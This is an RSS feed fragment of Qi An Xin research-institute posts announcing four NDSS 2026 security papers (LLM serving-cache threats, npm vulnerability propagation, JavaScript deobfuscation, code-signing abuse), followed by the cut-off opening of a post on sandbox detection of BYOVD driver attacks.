<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5b746299&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488942%26idx%3D1%26sn%3Da2330e5a2984a23fb66bfde69c36d901">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 30 Dec 2025 17:02:00 +0800</pubDate>
    </item>
    <item>
      <title>【喜报】4篇研究成果被国际顶级会议NDSS 2026录用</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488931&amp;idx=1&amp;sn=964d6f6bf245bdbdd30d0ef520ac311d</link>
      <description>国际顶级学术会议 NDSS 2026（Network and Distributed System Security Symposium）公布录用结果，奇安信技术研究院合作完成的4篇论文成功被录用。</description>
      <content:encoded><![CDATA[<p><span></span> <span>2025-12-24 11:54</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=528f44d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVeYdYGI8zPgZIbsFmaOS0amzxrP57CCoawIKiaL6SDgOcWtJ65EnQiaeew%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>国际顶级学术会议 NDSS 2026（Network and Distributed System Security Symposium）公布录用结果，奇安信技术研究院合作完成的4篇论文成功被录用。</p>
  <p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">近日，国际顶级学术会议 NDSS 2026（Network and Distributed System Security Symposium）公布录用结果，<span textstyle="" style="font-weight: bold;">奇安信技术研究院合作完成的4篇论文成功被录用</span>。NDSS 2026将于2026年2月23日至27日在美国圣地亚哥举办。此次多篇论文被录用，充分展现了奇安信技术研究院在网络安全前沿技术研究领域的深厚实力。</span></p><p nodeleaf=""><img data-imgfileid="100005268" class="rich_pages wxw-img" data-ratio="0.25252525252525254" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=e75fa624&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVezmTOJ34xOaFALa4GKvibyRBicTEBFwGKzwDTic21EeV6jPPnofxzEBdAg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div data-role="title" data-tools="135编辑器" data-id="167093" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div><div style="border-radius: 25px;background: linear-gradient(to right,#4050ef,#80b6ff);padding: 8px 25px;box-sizing:border-box;"><div style="display: flex;justify-content: center;align-items: center;"><div><p style="font-size: 16px;color: #ffffff;text-align: center;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 16px;">LLM推理服务框架中的缓存安全问题</span></span></strong></p></div></div></div></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第一篇论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作，论文题目为《</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks</span></strong><span leaf="">》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和曲海鹏教授（中国海洋大学），其他作者为陈国强（奇安信星图实验室），谷雅聪（清华大学）。这项研究聚焦于大语言模型（LLM）推理服务框架中的安全威胁，深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。</span></p><p nodeleaf=""><img data-imgfileid="100005270" class="rich_pages wxw-img" data-ratio="0.3333333333333333" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=6b73f53b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVe1nfI41s5c3nse5u4kV8dGK8nCQlQqQLANr1rHZVliaeRc4dYvxL1rpg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这项工作揭示了上述机制中严重的安全隐患：攻击者可利用这些漏洞操纵模型输出，实施数据投毒，甚至绕过现有的安全审核与防御体系。团队在 vLLM、SGLang 和 GPTCache 等主流推理服务框架中定位到了具体的实现缺陷，并提出了针对性的修复方案。目前，相关漏洞已被厂商确认并修复，因此获得了 3 个 CVE 漏洞编号，为提升 LLM 基础设施的安全性做出了实质性贡献。</span></p><p nodeleaf=""><img data-imgfileid="100005269" class="rich_pages wxw-img" data-ratio="0.4804270462633452" data-type="jpeg" data-w="562" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=bdfc11eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVebYIrSJNQoPJTsPzAMW4SovNaIRiajpaIiaKX8XHEpia4iaGM61nGewdNRQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div data-role="title" data-tools="135编辑器" data-id="167093" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div><div style="border-radius: 25px;background: linear-gradient(to right,#4050ef,#80b6ff);padding: 8px 25px;box-sizing:border-box;"><div style="display: flex;justify-content: center;align-items: center;"><div><p style="font-size: 16px;color: #ffffff;text-align: center;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 16px;">npm 生态漏洞传播影响分析</span></span></strong></p></div></div></div></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第二篇论文是由奇安信技术研究院和清华大学合作完成的关于软件供应链安全的工作。论文题目为</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">npm</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf=""> Ecosystem》</span></strong><span leaf="">，作者为蒲应元（奇安信星图实验室）、应凌云（奇安信星图实验室）和谷雅聪（清华大学）。这项研究提出了基于函数调用关系的细粒度漏洞传播关系识别方法，结果表明传统的基于包依赖关系识别的漏洞影响结果中约 70% 都是误报。</span></p><p nodeleaf=""><img data-imgfileid="100005272" class="rich_pages wxw-img" data-ratio="0.4078282828282828" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=651cb96e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVerga7zZ5Ytqsnex0hOI5qlHPdSFsSRBzFcc3Z7zicxuLaMyXv28OPIgg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">npm作为全球最大的开源软件生态，其错综复杂的依赖关系使得漏洞极易在供应链中传播，给软件安全带来巨大隐患。现有的包级别软件成分分析（SCA）工具普遍存在严重的误报问题，无法区分漏洞代码是否真实被调用，同时现有的函数级分析工具在面对大规模生态时，往往面临计算成本过高和对JavaScript动态特性支持不足等瓶颈。为解决这些问题，我们设计开发了 VulTracer，一款面向npm生态的高精度、可扩展的函数级漏洞传播分析框架。该工具创新性地提出了“一次分析，多次复用”的模块化分析模式，通过对每一个 npm 包构建不可变的富语义图（RSG）、提取形式化接口以及按需组合合成技术，成功解决了大规模静态分析中的性能与精度挑战。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同时，VulTracer基于全量npm生态（覆盖3400万个npm 包版本，超 9 亿条依赖关系）进行了迄今为止最大规模的函数级漏洞影响实证研究。实验结果表明，该工具在调用图构建上达到了0.905的F1分数（SOTA），相比</span><code style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">npm audit</span></code><span leaf="">降低了94%的误报率；同时研究结果进一步揭示，现有包级别分析工具产生的警报中 68.28% 均为“噪声”（即漏洞代码不可达），且真实的漏洞传播往往随依赖层级加深而迅速衰减。该工作为缓解开发者的警报疲劳提供了切实可行的技术路径，使安全修复工作能聚焦于真实存在的威胁。</span></p><p nodeleaf=""><img data-imgfileid="100005271" class="rich_pages wxw-img" data-ratio="0.5782828282828283" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=41bcd41d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVe4qkFzty3ciaNZG4BxxZa9DyxXhwJUfnPoGlmaymj8J27XhGIIXlEQfA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div data-role="title" data-tools="135编辑器" data-id="167093" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div><div style="border-radius: 25px;background: linear-gradient(to right,#4050ef,#80b6ff);padding: 8px 25px;box-sizing:border-box;"><div style="display: flex;justify-content: center;align-items: center;"><div><p style="font-size: 16px;color: #ffffff;text-align: center;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 16px;">JavaScript脚本的自动化反混淆</span></span></strong></p></div></div></div></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第三篇论文是由奇安信技术研究院和北京邮电大学合作完成的关于JavaScript反混淆的工作。论文题目为</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》</span></strong><span leaf="">，这项工作由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和王东滨教授（北京邮电大学），参与该项工作的还有柴华君（奇安信星图实验室）。这篇论文也是我们继PowerPeeler (CCS 2024)和Invoke-Deobfuscation (DSN 2022)之后的又一项脚本反混淆工作。</span></p><p nodeleaf="" style="text-align: center;"><img data-imgfileid="100005273" class="rich_pages wxw-img" data-ratio="0.3904320987654321" data-type="jpeg" data-w="648" style="padding:0px;margin:auto;box-sizing:border-box;display:inline-block;max-width:100%;vertical-align:middle;width:511px;height:200px;border:rgba(0, 0, 0, 0);" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_jpg/lG0evzxL96mR253xzN6ySPPg7ia4QaKVerPtRGu8cwTtFLBnmJRDAXjZZY2YcNc3CgBLkDx0LvHfOb9NsgNzjSw/640?wx_fmt=jpeg&amp;from=appmsg" data-cropx2="648.0328719723184" data-cropy2="253.6332179930796" src="https://wechat2rss.xlab.app/img-proxy/?k=93558309&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVeFDgpr2mEsGKib9XwI8yMmTjriaG4Co5iaMpUlOBXCibZKicMgl0ia4JTIW5A%2F640%3Fwx_fmt%3Djpeg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">JavaScript作为互联网核心脚本语言的广泛应用，使其成为恶意攻击者的重要载体。攻击者利用复杂的代码混淆技术隐藏恶意行为，给安全分析带来严峻挑战。现有反混淆工具普遍存在处理复杂样本能力有限、仅支持特定混淆类型、输出代码难以阅读等关键局限。为解决这些问题，我们设计开发了JSIMPLIFIER，一款集成多阶段处理流程与大语言模型增强的综合性JavaScript反混淆工具。该工具创新性地结合代码预处理、静态AST分析与动态执行监控的双引擎协同，以及基于LLM的智能变量重命名，实现从复杂样本格式化到语义增强的全流程反混淆。JSIMPLIFIER基于44,421个真实混淆样本构建了目前最大规模数据集，实验证明其100%覆盖20种主流混淆技术，达到100%处理成功率和正确率，代码复杂度降低88.2%，可读性提升超过4倍。该工具已成功还原JSFireTruck等复杂恶意样本的混淆行为，相关研究成果、工具及数据集已开源共享。</span></p><p nodeleaf=""><img data-imgfileid="100005274" class="rich_pages wxw-img" data-ratio="0.3244949494949495" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=91c21b57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVeMk7OwHTNbxGMckMYEOO3s289ew7VE9f54txWRm6D5bZImkP3XKXAnw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div data-role="title" data-tools="135编辑器" data-id="167093" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div><div style="border-radius: 25px;background: linear-gradient(to right,#4050ef,#80b6ff);padding: 8px 25px;box-sizing:border-box;"><div style="display: flex;justify-content: center;align-items: center;"><div><p style="font-size: 16px;color: #ffffff;text-align: center;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 16px;">Windows 代码签名滥用分析</span></span></strong></p></div></div></div></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第四篇论文是由奇安信技术研究院、清华大学和中关村实验室合作完成的关于代码签名滥用检测的工作。论文题目为《</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">Understanding the Status and Strategies of the Code Signing Abuse Ecosystem</span></strong><span leaf="">》，这项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生赵汉卿主导完成，导师为段海新教授（清华大学）和应凌云博士（奇安信星图实验室）。其他作者分别为张一铭（清华大学）、张明明（中关村实验室）、刘保君（清华大学）、游子权（清华大学）、张书豪（奇安信星图实验室）。</span></p><p nodeleaf=""><img data-imgfileid="100005275" class="rich_pages wxw-img" data-ratio="0.2967171717171717" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=93f1f658&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVeGwWY44cRv1yOYHhibVB2LMxVGxRb5suS5ExgXp9r2qs098icwKicUoxfA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">近年来，软件供应链安全事件频发，为了保护软件真实性与完整性，代码签名机制应运而生。代码签名主要依赖公钥基础设施 PKI 技术，旨在确保软件来自真实来源且软件内容未被篡改。然而，攻击者有时会反过来利用代码签名PKI信任体系中的安全缺陷，帮助恶意软件绕过操作系统和杀毒软件的检查。深入理解代码签名滥用生态系统的演变过程以及滥用者的策略，对于完善相关检测与防御机制至关重要。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在这项工作中，我们利用从真实世界中收集的 3,216,113 个已签名的恶意 PE 文件，对代码签名滥用行为进行了大规模测量。通过细粒度的代码签名滥用检测分类算法，我们检测到了 43,286 张滥用证书，构建了迄今为止最大的滥用标记数据集。分析发现当前代码签名滥用现象普遍存在，影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现了 5 种滥用者的攻击策略，并根据当前代码签名 PKI 存在的安全缺陷提出了若干缓解措施。</span></p><p nodeleaf=""><img data-imgfileid="100005276" class="rich_pages wxw-img" data-ratio="0.31565656565656564" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=eb7adbaf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVewibnHlqFGFwoicYFZUSDdzEXL25yOqYRJFaSj2sLrwSiaXHqrXDIt0Kbw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div data-tools="135编辑器" data-id="158381" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="border: 1px solid #859de5;padding: 4px;box-sizing:border-box;"><div style="background: linear-gradient(to bottom,#e9f2ff,#ffffff);padding: 25px 20px;box-sizing:border-box;"><div data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#333333;background-color: transparent;"><p><span leaf=""><span textstyle="" style="font-size: 16px;">奇安信技术研究院是专注于网络空间安全相关技术的研究机构，聚焦网络空间安全领域基础性或前沿性的研究课题，结合国家和社会的实际需求，开展创新性和实践性的技术研究。共有星图实验室、羲和实验室和天工实验室三大实验室。</span></span></p><p><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.5000pt;mso-font-kerning:1.0000pt;"><font face="宋体"><span leaf=""><span textstyle="" style="font-size: 16px;">我们目前正在招聘，工作地点覆盖北京、南京、成都等城市，详情请参见：</span></span></font></span></p><p><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.5000pt;mso-font-kerning:1.0000pt;"><font face="Calibri"><span leaf=""><span textstyle="" style="font-size: 16px;"><a href="https://research.qianxin.com/recruitment/" target="_blank">https://research.qianxin.com/recruitment/</a></span></span></font></span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a0b2e845&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488931%26idx%3D1%26sn%3D964d6f6bf245bdbdd30d0ef520ac311d">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 24 Dec 2025 11:54:00 +0800</pubDate>
    </item>
    <item>
      <title>【天穹】沙箱赋能纵深防御，BYOVD 攻击无处遁形</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488915&amp;idx=1&amp;sn=2baae155407d4271ee8566ca2f912c35</link>
      <description>天穹智能化沙箱系统已完成对 BYOVD 攻击全链路行为的深度建模，并正式上线针对该类攻击的专项检测能力。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2025-12-18 17:20</span> <span style="display: inline-block;">北京</span></p>




  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6e75d1b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96lu7wAb4Ur0dq6uQMN87wUrrlJVG0wOfiatW4ESUOjiakTaD8Kdt8r275YS3hv0YgqPnCs8tCUia2U4Q%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>天穹智能化沙箱系统已完成对 BYOVD 攻击全链路行为的深度建模，并正式上线针对该类攻击的专项检测能力。</p>
  <div data-role="title" data-tools="135编辑器" data-id="158385" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">1</span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">概述</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">近期，天穹沙箱团队观察到 BYOVD（Bring Your Own Vulnerable Driver） 技术正被越来越多的高级威胁组织（如 APT29、Lazarus 及勒索软件团伙）用于绕过现代 Windows 系统的内核防护机制。该技术通过加载已签名但存在已知漏洞的合法驱动程序，在不触发传统 EDR 检测的前提下，实现内核级内存篡改、SYSTEM 权限提权及安全软件进程终止，已成为当前最隐蔽、危害性极强的逃逸手段之一。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 